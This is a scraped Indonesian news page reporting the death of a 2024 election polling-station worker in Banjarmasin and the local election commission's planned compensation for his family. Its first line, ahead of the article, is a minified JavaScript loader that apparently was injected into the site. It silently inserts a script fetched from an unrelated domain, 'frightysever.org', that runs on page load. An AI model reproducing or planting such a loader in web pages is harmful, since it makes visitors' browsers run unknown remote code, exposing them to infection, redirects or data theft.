(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pulang Sebelum Rampungkan Penghitungan Suara, Anggota KPPS Meninggal Dunia di Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Seorang petugas Kelompok Penyelanggara Pemungutan Suara (KPPS) Pemilu 2024 di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) dikabarkan meninggal dunia.

Chandra Dinata (49) wafat setelah sempat melaksanakan tugas sebagai anggota KPPS di TPS 26 Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

Ketua Komisi Pemilihan Umum (KPU) Kota Banjarmasin Rusnailah membenarkan, meninggal dunia seorang anggota KPPS tersebut.

Ia mengatakan, almarhum Chandra Dinata tidak meninggal dunia saat bertugas di TPS, melainkan meninggal dunia di rumahnya beberapa hari setelah hari H pencoblosan.

Baca juga: Mantan Kadistan Balangan Divonis 4 Tahun Penjara, Tuntutan JPU 1 Tahun 6 Bulan

Namun, kata Rusnailah, saat masih bertugas di TPS pada sore hari pencoblosan itu, almarhum Chandra Dinata sempat mengeluh kepada Ketua KPPS dan mengatakan tidak dapat melanjutkan tugas melakukan penghitungan suara yang masih berlangsung di TPS.

“Awalnya memang kelelahan di tanggal 14 Februari sore, beliau melapor kepada Ketua KPPS bahwa tidak bisa melanjutkan tugas di TPS,” ujar Ketua KPU.

Lanjut Rusnailah, karena yang bersangkutan meninggal masih mengemban petugas KPPS, maka pihaknya berencana memberikan santunan kepada keluarga korban.

Ketua KPU Kota Banjarmasin, Rusnailah. Foto: wanda

Pemberian santunan terdiri dua macam, yaitu biaya pemakaman dan santunan kematian yang diberikan kepada keluarga almarhum dengan nilai mencapai Rp46 juta.

Baca juga: Taman Mawar Lansia Loktabat Utara Diresmikan, Tambahan Ruang Bermain Ramah Anak di Banjarbaru

“Biaya pemakaman Rp10 juta, santunan Rp36 juta,” katanya.

Pemberian santunan kematian itu mengacu pada Keputusan KPU Nomor 59 Tahun 2023.

Namun, kata Rusnailah, sebelum santunan diberikan, terlebih dahulu pihaknya membuat laporan ke KPU RI dan menganggarkannya.

“Kita buat laporannya dulu ke KPU RI dan juga menganggarkan dana santunannya,” ujarnya. “Tentunya administrasi juga harus lengkap,” sambungnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.